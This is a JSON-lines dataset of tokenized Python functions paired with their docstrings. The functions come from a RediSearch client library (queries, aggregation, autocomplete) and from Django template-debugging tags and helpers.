{"signature": "def aggregate(self, query):", "body": "if isinstance(query, AggregateRequest):<EOL><INDENT>has_schema = query._with_schema<EOL>has_cursor = bool(query._cursor)<EOL>cmd = [self.AGGREGATE_CMD, self.index_name] + query.build_args()<EOL><DEDENT>elif isinstance(query, Cursor):<EOL><INDENT>has_schema = False<EOL>has_cursor = True<EOL>cmd = [self.CURSOR_CMD, '<STR_LIT>', self.index_name] + query.build_args()<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>', query)<EOL><DEDENT>raw = self.redis.execute_command(*cmd)<EOL>if has_cursor:<EOL><INDENT>if isinstance(query, Cursor):<EOL><INDENT>query.cid = raw[<NUM_LIT:1>]<EOL>cursor = query<EOL><DEDENT>else:<EOL><INDENT>cursor = Cursor(raw[<NUM_LIT:1>])<EOL><DEDENT>raw = raw[<NUM_LIT:0>]<EOL><DEDENT>else:<EOL><INDENT>cursor = None<EOL><DEDENT>if query._with_schema:<EOL><INDENT>schema = raw[<NUM_LIT:0>]<EOL>rows = raw[<NUM_LIT:2>:]<EOL><DEDENT>else:<EOL><INDENT>schema = None<EOL>rows = raw[<NUM_LIT:1>:]<EOL><DEDENT>res = AggregateResult(rows, cursor, schema)<EOL>return res<EOL>", "docstring": "Issue an aggregation query\n\n### Parameters\n\n**query**: This can be either an `AggeregateRequest`, or a `Cursor`\n\nAn `AggregateResult` object is returned. You can access the rows from its\n`rows` property, which will always yield the rows of the result", "id": "f3679:c5:m12"}
{"signature": "def __init__(self, query_string):", "body": "self._query_string = query_string<EOL>self._offset = <NUM_LIT:0><EOL>self._num = <NUM_LIT:10><EOL>self._no_content = False<EOL>self._no_stopwords = False<EOL>self._fields = None<EOL>self._verbatim = False<EOL>self._with_payloads = False<EOL>self._filters = list()<EOL>self._ids = None<EOL>self._slop = -<NUM_LIT:1><EOL>self._in_order = False<EOL>self._sortby = None<EOL>self._return_fields = []<EOL>self._summarize_fields = []<EOL>self._highlight_fields = []<EOL>self._language = None<EOL>", "docstring": "Create a new query object. \nThe query string is set in the constructor, and other options have setter functions.", "id": "f3680:c0:m0"}
{"signature": "def query_string(self):", "body": "return self._query_string<EOL>", "docstring": "Return the query string of this query only", "id": "f3680:c0:m1"}
{"signature": "def limit_ids(self, *ids):", "body": "self._ids = ids<EOL>return self<EOL>", "docstring": "Limit the results to a specific set of pre-known document ids of any length", "id": "f3680:c0:m2"}
{"signature": "def return_fields(self, *fields):", "body": "self._return_fields = fields<EOL>return self<EOL>", "docstring": "Only return values from these fields", "id": "f3680:c0:m3"}
{"signature": "def summarize(self, fields=None, context_len=None, num_frags=None, sep=None):", "body": "args = ['<STR_LIT>']<EOL>fields = self._mk_field_list(fields)<EOL>if fields:<EOL><INDENT>args += ['<STR_LIT>', str(len(fields))] + fields<EOL><DEDENT>if context_len is not None:<EOL><INDENT>args += ['<STR_LIT>', str(context_len)]<EOL><DEDENT>if num_frags is not None:<EOL><INDENT>args += ['<STR_LIT>', str(num_frags)]<EOL><DEDENT>if sep is not None:<EOL><INDENT>args += ['<STR_LIT>', sep]<EOL><DEDENT>self._summarize_fields = args<EOL>return self<EOL>", "docstring": "Return an abridged format of the field, containing only the segments of\nthe field which contain the matching term(s).\n\nIf `fields` is specified, then only the mentioned fields are\nsummarized; otherwise all results are summarized.\n\nServer side defaults are used for each option (except `fields`) if not specified\n\n- **fields** List of fields to summarize. All fields are summarized if not specified\n- **context_len** Amount of context to include with each fragment\n- **num_frags** Number of fragments per document\n- **sep** Separator string to separate fragments", "id": "f3680:c0:m5"}
{"signature": "def highlight(self, fields=None, tags=None):", "body": "args = ['<STR_LIT>']<EOL>fields = self._mk_field_list(fields)<EOL>if fields:<EOL><INDENT>args += ['<STR_LIT>', str(len(fields))] + fields<EOL><DEDENT>if tags:<EOL><INDENT>args += ['<STR_LIT>'] + list(tags)<EOL><DEDENT>self._highlight_fields = args<EOL>return self<EOL>", "docstring": "Apply specified markup to matched term(s) within the returned field(s)\n\n- **fields** If specified then only those mentioned fields are highlighted, otherwise all fields are highlighted\n- **tags** A list of two strings to surround the match.", "id": "f3680:c0:m6"}
{"signature": "def language(self, language):", "body": "self._language = language<EOL>return self<EOL>", "docstring": "Analyze the query as being in the specified language\n:param language: The language (e.g. `chinese` or `english`)", "id": "f3680:c0:m7"}
{"signature": "def slop(self, slop):", "body": "self._slop = slop<EOL>return self<EOL>", "docstring": "Allow a masimum of N intervening non matched terms between phrase terms (0 means exact phrase)", "id": "f3680:c0:m8"}
{"signature": "def in_order(self):", "body": "self._in_order = True<EOL>return self<EOL>", "docstring": "Match only documents where the query terms appear in the same order in the document.\ni.e. for the query 'hello world', we do not match 'world hello'", "id": "f3680:c0:m9"}
{"signature": "def get_args(self):", "body": "args = [self._query_string]<EOL>if self._no_content:<EOL><INDENT>args.append('<STR_LIT>')<EOL><DEDENT>if self._fields:<EOL><INDENT>args.append('<STR_LIT>')<EOL>args.append(len(self._fields))<EOL>args += self._fields<EOL><DEDENT>if self._verbatim:<EOL><INDENT>args.append('<STR_LIT>')<EOL><DEDENT>if self._no_stopwords:<EOL><INDENT>args.append('<STR_LIT>')<EOL><DEDENT>if self._filters:<EOL><INDENT>for flt in self._filters:<EOL><INDENT>assert isinstance(flt, Filter)<EOL>args += flt.args<EOL><DEDENT><DEDENT>if self._with_payloads:<EOL><INDENT>args.append('<STR_LIT>')<EOL><DEDENT>if self._ids:<EOL><INDENT>args.append('<STR_LIT>')<EOL>args.append(len(self._ids))<EOL>args += self._ids<EOL><DEDENT>if self._slop >= <NUM_LIT:0>:<EOL><INDENT>args += ['<STR_LIT>', self._slop]<EOL><DEDENT>if self._in_order:<EOL><INDENT>args.append('<STR_LIT>')<EOL><DEDENT>if self._return_fields:<EOL><INDENT>args.append('<STR_LIT>')<EOL>args.append(len(self._return_fields))<EOL>args += self._return_fields<EOL><DEDENT>if self._sortby:<EOL><INDENT>assert isinstance(self._sortby, SortbyField)<EOL>args.append('<STR_LIT>')<EOL>args += self._sortby.args<EOL><DEDENT>if self._language:<EOL><INDENT>args += ['<STR_LIT>', self._language]<EOL><DEDENT>args += self._summarize_fields + self._highlight_fields<EOL>args += [\"<STR_LIT>\", self._offset, self._num]<EOL>return args<EOL>", "docstring": "Format the redis arguments for this query and return them", "id": "f3680:c0:m10"}
{"signature": "def paging(self, offset, num):", "body": "self._offset = offset<EOL>self._num = num<EOL>return self<EOL>", "docstring": "Set the paging for the query (defaults to 0..10).\n\n- **offset**: Paging offset for the results. Defaults to 0\n- **num**: How many results do we want", "id": "f3680:c0:m11"}
{"signature": "def verbatim(self):", "body": "self._verbatim = True<EOL>return self<EOL>", "docstring": "Set the query to be verbatim, i.e. use no query expansion or stemming", "id": "f3680:c0:m12"}
{"signature": "def no_content(self):", "body": "self._no_content = True<EOL>return self<EOL>", "docstring": "Set the query to only return ids and not the document content", "id": "f3680:c0:m13"}
{"signature": "def no_stopwords(self):", "body": "self._no_stopwords = True<EOL>return self<EOL>", "docstring": "Prevent the query from being filtered for stopwords. \nOnly useful in very big queries that you are certain contain no stopwords.", "id": "f3680:c0:m14"}
{"signature": "def with_payloads(self):", "body": "self._with_payloads = True<EOL>return self<EOL>", "docstring": "Ask the engine to return document payloads", "id": "f3680:c0:m15"}
{"signature": "def limit_fields(self, *fields):", "body": "self._fields = fields<EOL>return self<EOL>", "docstring": "Limit the search to specific TEXT fields only\n\n- **fields**: A list of strings, case sensitive field names from the defined schema", "id": "f3680:c0:m16"}
{"signature": "def add_filter(self, flt):", "body": "self._filters.append(flt)<EOL>return self<EOL>", "docstring": "Add a numeric or geo filter to the query. \n**Currently only one of each filter is supported by the engine**\n\n- **flt**: A NumericFilter or GeoFilter object, used on a corresponding field", "id": "f3680:c0:m17"}
{"signature": "def sort_by(self, field, asc=True):", "body": "self._sortby = SortbyField(field, asc)<EOL>return self<EOL>", "docstring": "Add a sortby field to the query\n\n- **field** - the name of the field to sort by\n- **asc** - when `True`, sorting will be done in asceding order", "id": "f3680:c0:m18"}
{"signature": "def tags(*t):", "body": "if not t:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>return TagValue(*t)<EOL>", "docstring": "Indicate that the values should be matched to a tag field\n\n### Parameters\n\n- **t**: Tags to search for", "id": "f3682:m0"}
{"signature": "def between(a, b, inclusive_min=True, inclusive_max=True):", "body": "return RangeValue(a, b,<EOL>inclusive_min=inclusive_min, inclusive_max=inclusive_max)<EOL>", "docstring": "Indicate that value is a numeric range", "id": "f3682:m1"}
{"signature": "def equal(n):", "body": "return between(n, n)<EOL>", "docstring": "Match a numeric value", "id": "f3682:m2"}
{"signature": "def lt(n):", "body": "return between(None, n, inclusive_max=False)<EOL>", "docstring": "Match any value less than n", "id": "f3682:m3"}
{"signature": "def le(n):", "body": "return between(None, n, inclusive_max=True)<EOL>", "docstring": "Match any value less or equal to n", "id": "f3682:m4"}
{"signature": "def gt(n):", "body": "return between(n, None, inclusive_min=False)<EOL>", "docstring": "Match any value greater than n", "id": "f3682:m5"}
{"signature": "def ge(n):", "body": "return between(n, None, inclusive_min=True)<EOL>", "docstring": "Match any value greater or equal to n", "id": "f3682:m6"}
{"signature": "def geo(lat, lon, radius, unit='<STR_LIT>'):", "body": "return GeoValue(lat, lon, radius, unit)<EOL>", "docstring": "Indicate that value is a geo region", "id": "f3682:m7"}
{"signature": "@property<EOL><INDENT>def combinable(self):<DEDENT>", "body": "return False<EOL>", "docstring": "Whether this type of value may be combined with other values for the same\nfield. This makes the filter potentially more efficient", "id": "f3682:c0:m0"}
{"signature": "@staticmethod<EOL><INDENT>def make_value(v):<DEDENT>", "body": "if isinstance(v, Value):<EOL><INDENT>return v<EOL><DEDENT>return ScalarValue(v)<EOL>", "docstring": "Convert an object to a value, if it is not a value already", "id": "f3682:c0:m1"}
{"signature": "def __init__(self, *children, **kwparams):", "body": "self.params = []<EOL>kvparams = {}<EOL>for k, v in kwparams.items():<EOL><INDENT>curvals = kvparams.setdefault(k, [])<EOL>if isinstance(v, (string_types, integer_types, float)):<EOL><INDENT>curvals.append(Value.make_value(v))<EOL><DEDENT>elif isinstance(v, Value):<EOL><INDENT>curvals.append(v)<EOL><DEDENT>else:<EOL><INDENT>curvals.extend(Value.make_value(subv) for subv in v)<EOL><DEDENT><DEDENT>self.params += [Node.to_node(p) for p in children]<EOL>for k, v in kvparams.items():<EOL><INDENT>self.params.extend(self.join_fields(k, v))<EOL><DEDENT>", "docstring": "Create a node\n\n### Parameters\n\n- **children**: One or more sub-conditions. These can be additional\n    `intersect`, `disjunct`, `union`, `optional`, or any other `Node`\n    type.\n\n    The semantics of multiple conditions are dependent on the type of\n    query. For an `intersection` node, this amounts to a logical AND,\n    for a `union` node, this amounts to a logical `OR`.\n\n- **kwparams**: key-value parameters. Each key is the name of a field,\n    and the value should be a field value. This can be one of the\n    following:\n\n    - Simple string (for text field matches)\n    - value returned by one of the helper functions\n    - list of either a string or a value\n\n\n### Examples\n\nField `num` should be between 1 and 10\n```\nintersect(num=between(1, 10)\n```\n\nName can either be `bob` or `john`\n\n```\nunion(name=('bob', 'john'))\n```\n\nDon't select countries in Israel, Japan, or US\n\n```\ndisjunct_union(country=('il', 'jp', 'us'))\n```", "id": "f3682:c5:m0"}
{"signature": "def __init__(self, res, hascontent, duration=<NUM_LIT:0>, has_payload = False):", "body": "self.total = res[<NUM_LIT:0>]<EOL>self.duration = duration<EOL>self.docs = []<EOL>step = <NUM_LIT:1><EOL>if hascontent:<EOL><INDENT>step = <NUM_LIT:3> if has_payload else <NUM_LIT:2><EOL><DEDENT>else:<EOL><INDENT>has_payload = False<EOL><DEDENT>for i in xrange(<NUM_LIT:1>, len(res), step):<EOL><INDENT>id = to_string(res[i])<EOL>payload = to_string(res[i+<NUM_LIT:1>]) if has_payload else None<EOL>fields_offset = <NUM_LIT:2> if has_payload else <NUM_LIT:1><EOL>fields = {} <EOL>if hascontent:<EOL><INDENT>fields = dict(<EOL>dict(izip(map(to_string, res[i + fields_offset][::<NUM_LIT:2>]),<EOL>map(to_string, res[i + fields_offset][<NUM_LIT:1>::<NUM_LIT:2>])))<EOL>) if hascontent else {}<EOL><DEDENT>try:<EOL><INDENT>del fields['<STR_LIT:id>']<EOL><DEDENT>except KeyError:<EOL><INDENT>pass<EOL><DEDENT>doc = Document(id, payload=payload, **fields)<EOL>self.docs.append(doc)<EOL><DEDENT>", "docstring": "- **snippets**: An optional dictionary of the form {field: snippet_size} for snippet formatting", "id": "f3683:c0:m0"}
{"signature": "def __init__(self, key, host='<STR_LIT:localhost>', port=<NUM_LIT>, conn = None):", "body": "self.key = key<EOL>self.redis = conn if conn is not None else Redis(<EOL>connection_pool = ConnectionPool(host=host, port=port))<EOL>", "docstring": "Create a new AutoCompleter client for the given key, and optional host and port\n\nIf conn is not None, we employ an already existing redis connection", "id": "f3684:c2:m0"}
{"signature": "def add_suggestions(self,  *suggestions, **kwargs):", "body": "pipe = self.redis.pipeline()<EOL>for sug in suggestions:<EOL><INDENT>args = [AutoCompleter.SUGADD_COMMAND, self.key, sug.string, sug.score]<EOL>if kwargs.get('<STR_LIT>'):<EOL><INDENT>args.append(AutoCompleter.INCR)<EOL><DEDENT>if sug.payload:<EOL><INDENT>args.append('<STR_LIT>')<EOL>args.append(sug.payload)<EOL><DEDENT>pipe.execute_command(*args)<EOL><DEDENT>return pipe.execute()[-<NUM_LIT:1>]<EOL>", "docstring": "Add suggestion terms to the AutoCompleter engine. Each suggestion has a score and string.\n\nIf kwargs['increment'] is true and the terms are already in the server's dictionary, we increment their scores", "id": "f3684:c2:m1"}
{"signature": "def len(self):", "body": "return self.redis.execute_command(AutoCompleter.SUGLEN_COMMAND, self.key)<EOL>", "docstring": "Return the number of entries in the AutoCompleter index", "id": "f3684:c2:m2"}
{"signature": "def delete(self, string):", "body": "return self.redis.execute_command(AutoCompleter.SUGDEL_COMMAND, self.key, string)<EOL>", "docstring": "Delete a string from the AutoCompleter index.\nReturns 1 if the string was found and deleted, 0 otherwise", "id": "f3684:c2:m3"}
{"signature": "def get_suggestions(self, prefix, fuzzy = False, num = <NUM_LIT:10>, with_scores = False, with_payloads=False):", "body": "args = [AutoCompleter.SUGGET_COMMAND, self.key, prefix, '<STR_LIT>', num]<EOL>if fuzzy:<EOL><INDENT>args.append(AutoCompleter.FUZZY)<EOL><DEDENT>if with_scores:<EOL><INDENT>args.append(AutoCompleter.WITHSCORES)<EOL><DEDENT>if with_payloads:<EOL><INDENT>args.append(AutoCompleter.WITHPAYLOADS)<EOL><DEDENT>ret = self.redis.execute_command(*args)<EOL>results = []<EOL>if not ret:<EOL><INDENT>return results<EOL><DEDENT>parser = SuggestionParser(with_scores, with_payloads, ret)<EOL>return [s for s in parser]<EOL>", "docstring": "Get a list of suggestions from the AutoCompleter, for a given prefix\n\n### Parameters:\n- **prefix**: the prefix we are searching. **Must be valid ascii or utf-8**\n- **fuzzy**: If set to true, the prefix search is done in fuzzy mode. \n    **NOTE**: Running fuzzy searches on short (<3 letters) prefixes can be very slow, and even scan the entire index.\n- **with_scores**: if set to true, we also return the (refactored) score of each suggestion. \n  This is normally not needed, and is NOT the original score inserted into the index\n- **with_payloads**: Return suggestion payloads\n- **num**: The maximum number of results we return. Note that we might return less. The algorithm trims irrelevant suggestions.\n\nReturns a list of Suggestion objects. If with_scores was False, the score of all suggestions is 1.", "id": "f3684:c2:m4"}
{"signature": "def alias(self, alias):", "body": "if alias is FIELDNAME:<EOL><INDENT>if not self._field:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>alias = self._field[<NUM_LIT:1>:]<EOL><DEDENT>self._alias = alias<EOL>return self<EOL>", "docstring": "Set the alias for this reducer.\n\n### Parameters\n\n- **alias**: The value of the alias for this reducer. If this is the\n    special value `aggregation.FIELDNAME` then this reducer will be\n    aliased using the same name as the field upon which it operates.\n    Note that using `FIELDNAME` is only possible on reducers which\n    operate on a single field value.\n\nThis method returns the `Reducer` object making it suitable for\nchaining.", "id": "f3685:c1:m1"}
{"signature": "def __init__(self, query='<STR_LIT:*>'):", "body": "self._query = query<EOL>self._groups = []<EOL>self._projections = []<EOL>self._loadfields = []<EOL>self._limit = Limit()<EOL>self._sortby = []<EOL>self._max = <NUM_LIT:0><EOL>self._with_schema = False<EOL>self._verbatim = False<EOL>self._cursor = []<EOL>", "docstring": "Create an aggregation request. This request may then be passed to\n`client.aggregate()`.\n\nIn order for the request to be usable, it must contain at least one\ngroup.\n\n- **query** Query string for filtering records.\n\nAll member methods (except `build_args()`)\nreturn the object itself, making them useful for chaining.", "id": "f3685:c6:m0"}
{"signature": "def load(self, *fields):", "body": "self._loadfields.extend(fields)<EOL>return self<EOL>", "docstring": "Indicate the fields to be returned in the response. These fields are\nreturned in addition to any others implicitly specified.\n\n### Parameters\n\n- **fields**: One or more fields in the format of `@field`", "id": "f3685:c6:m1"}
{"signature": "def group_by(self, fields, *reducers):", "body": "group = Group(fields, reducers)<EOL>self._groups.append(group)<EOL>return self<EOL>", "docstring": "Specify by which fields to group the aggregation.\n\n### Parameters\n\n- **fields**: Fields to group by. This can either be a single string,\n    or a list of strings. both cases, the field should be specified as\n    `@field`.\n- **reducers**: One or more reducers. Reducers may be found in the\n    `aggregation` module.", "id": "f3685:c6:m2"}
{"signature": "def apply(self, **kwexpr):", "body": "for alias, expr in kwexpr.items():<EOL><INDENT>self._projections.append([alias, expr])<EOL><DEDENT>return self<EOL>", "docstring": "Specify one or more projection expressions to add to each result\n\n### Parameters\n\n- **kwexpr**: One or more key-value pairs for a projection. The key is\n    the alias for the projection, and the value is the projection\n    expression itself, for example `apply(square_root=\"sqrt(@foo)\")`", "id": "f3685:c6:m3"}
{"signature": "def limit(self, offset, num):", "body": "limit = Limit(offset, num)<EOL>if self._groups:<EOL><INDENT>self._groups[-<NUM_LIT:1>].limit = limit<EOL><DEDENT>else:<EOL><INDENT>self._limit = limit<EOL><DEDENT>return self<EOL>", "docstring": "Sets the limit for the most recent group or query.\n\nIf no group has been defined yet (via `group_by()`) then this sets\nthe limit for the initial pool of results from the query. Otherwise,\nthis limits the number of items operated on from the previous group.\n\nSetting a limit on the initial search results may be useful when\nattempting to execute an aggregation on a sample of a large data set.\n\n### Parameters\n\n- **offset**: Result offset from which to begin paging\n- **num**: Number of results to return\n\n\nExample of sorting the initial results:\n\n```\nAggregateRequest('@sale_amount:[10000, inf]')\\\n    .limit(0, 10)\\\n    .group_by('@state', r.count())\n```\n\nWill only group by the states found in the first 10 results of the\nquery `@sale_amount:[10000, inf]`. On the other hand,\n\n```\nAggregateRequest('@sale_amount:[10000, inf]')\\\n    .limit(0, 1000)\\\n    .group_by('@state', r.count()\\\n    .limit(0, 10)\n```\n\nWill group all the results matching the query, but only return the\nfirst 10 groups.\n\nIf you only wish to return a *top-N* style query, consider using\n`sort_by()` instead.", "id": "f3685:c6:m4"}
{"signature": "def sort_by(self, *fields, **kwargs):", "body": "self._max = kwargs.get('<STR_LIT>', <NUM_LIT:0>)<EOL>if isinstance(fields, (string_types, SortDirection)):<EOL><INDENT>fields = [fields]<EOL><DEDENT>for f in fields:<EOL><INDENT>if isinstance(f, SortDirection):<EOL><INDENT>self._sortby += [f.field, f.DIRSTRING]<EOL><DEDENT>else:<EOL><INDENT>self._sortby.append(f)<EOL><DEDENT><DEDENT>return self<EOL>", "docstring": "Indicate how the results should be sorted. This can also be used for\n*top-N* style queries\n\n### Parameters\n\n- **fields**: The fields by which to sort. This can be either a single\n    field or a list of fields. If you wish to specify order, you can\n    use the `Asc` or `Desc` wrapper classes.\n- **max**: Maximum number of results to return. This can be used instead\n    of `LIMIT` and is also faster.\n\n\nExample of sorting by `foo` ascending and `bar` descending:\n\n```\nsort_by(Asc('@foo'), Desc('@bar'))\n```\n\nReturn the top 10 customers:\n\n```\nAggregateRequest()\\\n    .group_by('@customer', r.sum('@paid').alias(FIELDNAME))\\\n    .sort_by(Desc('@paid'), max=10)\n```", "id": "f3685:c6:m5"}
{"signature": "def with_schema(self):", "body": "self._with_schema = True<EOL>return self<EOL>", "docstring": "If set, the `schema` property will contain a list of `[field, type]`\nentries in the result object.", "id": "f3685:c6:m6"}
{"signature": "def reload(self, *fields, **kwargs):", "body": "max_depth = <NUM_LIT:1><EOL>if fields and isinstance(fields[<NUM_LIT:0>], int):<EOL><INDENT>max_depth = fields[<NUM_LIT:0>]<EOL>fields = fields[<NUM_LIT:1>:]<EOL><DEDENT>elif \"<STR_LIT>\" in kwargs:<EOL><INDENT>max_depth = kwargs[\"<STR_LIT>\"]<EOL><DEDENT>if not self.pk:<EOL><INDENT>raise self.DoesNotExist(\"<STR_LIT>\")<EOL><DEDENT>obj = self._qs.read_preference(ReadPreference.PRIMARY).filter(<EOL>**self._object_key).only(*fields).limit(<NUM_LIT:1><EOL>).select_related(max_depth=max_depth)<EOL>if obj:<EOL><INDENT>obj = obj[<NUM_LIT:0>]<EOL><DEDENT>else:<EOL><INDENT>raise self.DoesNotExist(\"<STR_LIT>\")<EOL><DEDENT>for field in self._fields_ordered:<EOL><INDENT>if not fields or field in fields:<EOL><INDENT>try:<EOL><INDENT>setattr(self, field, self._reload(field, obj[field]))<EOL><DEDENT>except KeyError:<EOL><INDENT>delattr(self, field)<EOL><DEDENT><DEDENT><DEDENT>if not fields:<EOL><INDENT>self._changed_fields = obj._changed_fields<EOL><DEDENT>else:<EOL><INDENT>for field in fields:<EOL><INDENT>field = self._db_field_map.get(field, field)<EOL>if field in self._changed_fields:<EOL><INDENT>self._changed_fields.remove(field)<EOL><DEDENT><DEDENT><DEDENT>self._created = False<EOL>return self<EOL>", "docstring": "Reloads all attributes from the database.\n        :param fields: (optional) args list of fields to reload\n        :param max_depth: (optional) depth of dereferencing to follow\n        .. versionadded:: 0.1.2\n        .. versionchanged:: 0.6  Now chainable\n        .. versionchanged:: 0.9  Can provide specific fields to reload", "id": "f3693:c2:m2"}
{"signature": "def create_user(self, **kwargs):", "body": "defaults = {<EOL>'<STR_LIT:username>': self.get_random_string(),<EOL>'<STR_LIT:email>': '<STR_LIT>',<EOL>'<STR_LIT:password>': self.get_random_string(),<EOL>}<EOL>defaults.update(kwargs)<EOL>return User.objects.create_user(**defaults)<EOL>", "docstring": "Factory method for creating Users.", "id": "f3697:c0:m3"}
{"signature": "def require_template_debug(f):", "body": "def _(*args, **kwargs):<EOL><INDENT>TEMPLATE_DEBUG = getattr(settings, '<STR_LIT>', False)<EOL>return f(*args, **kwargs) if TEMPLATE_DEBUG else '<STR_LIT>'<EOL><DEDENT>return _<EOL>", "docstring": "Decorated function is a no-op if TEMPLATE_DEBUG is False", "id": "f3701:m0"}
{"signature": "def _display_details(var_data):", "body": "meta_keys = (key for key in list(var_data.keys())<EOL>if key.startswith('<STR_LIT>'))<EOL>for key in meta_keys:<EOL><INDENT>display_key = key[<NUM_LIT:5>:].capitalize()<EOL>pprint('<STR_LIT>'.format(display_key, var_data.pop(key)))<EOL><DEDENT>pprint(var_data)<EOL>", "docstring": "Given a dictionary of variable attribute data from get_details display the\ndata in the terminal.", "id": "f3701:m1"}
{"signature": "@require_template_debug<EOL>@register.simple_tag(takes_context=True)<EOL>def variables(context):", "body": "availables = get_variables(context)<EOL>pprint(availables)<EOL>return availables<EOL>", "docstring": "Given a context, return a flat list of variables available in the context.", "id": "f3701:m2"}
{"signature": "@require_template_debug<EOL>@register.simple_tag<EOL>def attributes(var):", "body": "attrs = get_attributes(var)<EOL>pprint(attrs)<EOL>return attrs<EOL>", "docstring": "Given a variable in the template's context, print and return the list of\nattributes thare accessible inside of the template. For example, private\nattributes or callables that require arguments are excluded.", "id": "f3701:m3"}
{"signature": "@require_template_debug<EOL>@register.simple_tag<EOL>def details(var):", "body": "var_details = get_details(var)<EOL>_display_details(var_details)<EOL>return var_details<EOL>", "docstring": "Prints a dictionary showing the attributes of a variable, and if possible,\ntheir corresponding values.", "id": "f3701:m4"}
{"signature": "@require_template_debug<EOL>@register.simple_tag(takes_context=True)<EOL>def set_trace(context):", "body": "try:<EOL><INDENT>import ipdb as pdb<EOL><DEDENT>except ImportError:<EOL><INDENT>import pdb<EOL>print(\"<STR_LIT>\")<EOL><DEDENT>print(\"<STR_LIT>\")<EOL>render = lambda s: template.Template(s).render(context)<EOL>availables = get_variables(context)<EOL>pprint(availables)<EOL>print('<STR_LIT>')<EOL>print('<STR_LIT>')<EOL>print('<STR_LIT>')<EOL>for var in availables:<EOL><INDENT>locals()[var] = context[var]<EOL><DEDENT>pdb.set_trace()<EOL>return '<STR_LIT>'<EOL>", "docstring": "Start a pdb set_trace inside of the template with the context available as\n'context'. Uses ipdb if available.", "id": "f3701:m5"}
{"signature": "@require_template_debug<EOL>@register.simple_tag(takes_context=True)<EOL>def pydevd(context):", "body": "global pdevd_not_available<EOL>if pdevd_not_available:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>try:<EOL><INDENT>import pydevd<EOL><DEDENT>except ImportError:<EOL><INDENT>pdevd_not_available = True<EOL>return '<STR_LIT>'<EOL><DEDENT>render = lambda s: template.Template(s).render(context)<EOL>availables = get_variables(context)<EOL>for var in availables:<EOL><INDENT>locals()[var] = context[var]<EOL><DEDENT>try:<EOL><INDENT>pydevd.settrace()<EOL><DEDENT>except socket.error:<EOL><INDENT>pdevd_not_available = True<EOL><DEDENT>return '<STR_LIT>'<EOL>", "docstring": "Start a pydev settrace", "id": "f3701:m6"}
{"signature": "def _flatten(iterable):", "body": "for i in iterable:<EOL><INDENT>if isinstance(i, Iterable) and not isinstance(i, string_types):<EOL><INDENT>for sub_i in _flatten(i):<EOL><INDENT>yield sub_i<EOL><DEDENT><DEDENT>else:<EOL><INDENT>yield i<EOL><DEDENT><DEDENT>", "docstring": "Given an iterable with nested iterables, generate a flat iterable", "id": "f3703:m0"}
{"signature": "def get_variables(context):", "body": "return sorted(set(_flatten(context.dicts)))<EOL>", "docstring": "Given a context, return a sorted list of variable names in the context", "id": "f3703:m1"}
{"signature": "def get_details(var):", "body": "var_data = {}<EOL>module = getattr(var, '<STR_LIT>', '<STR_LIT>')<EOL>kls = getattr(getattr(var, '<STR_LIT>', '<STR_LIT>'), '<STR_LIT>', '<STR_LIT>')<EOL>if module:<EOL><INDENT>var_data['<STR_LIT>'] = module<EOL><DEDENT>if kls:<EOL><INDENT>var_data['<STR_LIT>'] = kls<EOL><DEDENT>for attr in get_attributes(var):<EOL><INDENT>value = _get_detail_value(var, attr)<EOL>if value is not None:<EOL><INDENT>var_data[attr] = value<EOL><DEDENT><DEDENT>return var_data<EOL>", "docstring": "Given a variable inside the context, obtain the attributes/callables,\ntheir values where possible, and the module name and class name if possible", "id": "f3703:m2"}
{"signature": "def _get_detail_value(var, attr):", "body": "value = getattr(var, attr)<EOL>kls = getattr(getattr(value, '<STR_LIT>', '<STR_LIT>'), '<STR_LIT>', '<STR_LIT>')<EOL>if kls in ('<STR_LIT>', '<STR_LIT>', '<STR_LIT>'):<EOL><INDENT>return kls<EOL><DEDENT>if callable(value):<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>return value<EOL>", "docstring": "Given a variable and one of its attributes that are available inside of\na template, return its 'method' if it is a callable, its class name if it\nis a model manager, otherwise return its value", "id": "f3703:m3"}
{"signature": "def get_attributes(var):", "body": "is_valid = partial(is_valid_in_template, var)<EOL>return list(filter(is_valid, dir(var)))<EOL>", "docstring": "Given a varaible, return the list of attributes that are available inside\nof a template", "id": "f3703:m4"}
{"signature": "def is_valid_in_template(var, attr):", "body": "<EOL>if attr.startswith('<STR_LIT:_>'):<EOL><INDENT>return False<EOL><DEDENT>try:<EOL><INDENT>value = getattr(var, attr)<EOL><DEDENT>except:<EOL><INDENT>return False<EOL><DEDENT>if isroutine(value):<EOL><INDENT>if getattr(value, '<STR_LIT>', False):<EOL><INDENT>return False<EOL><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>argspec = getargspec(value)<EOL>num_args = len(argspec.args) if argspec.args else <NUM_LIT:0><EOL>num_defaults = len(argspec.defaults) if argspec.defaults else <NUM_LIT:0><EOL>if num_args - num_defaults > <NUM_LIT:1>:<EOL><INDENT>return False<EOL><DEDENT><DEDENT>except TypeError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT><DEDENT>return True<EOL>", "docstring": "Given a variable and one of its attributes, determine if the attribute is\naccessible inside of a Django template and return True or False accordingly", "id": "f3703:m5"}
{"signature": "def read_file(filename):", "body": "path = os.path.abspath(os.path.dirname(__file__))<EOL>filepath = os.path.join(path, filename)<EOL>try:<EOL><INDENT>return open(filepath).read()<EOL><DEDENT>except IOError:<EOL><INDENT>return '<STR_LIT>'<EOL><DEDENT>", "docstring": "Read a file into a string", "id": "f3709:m0"}
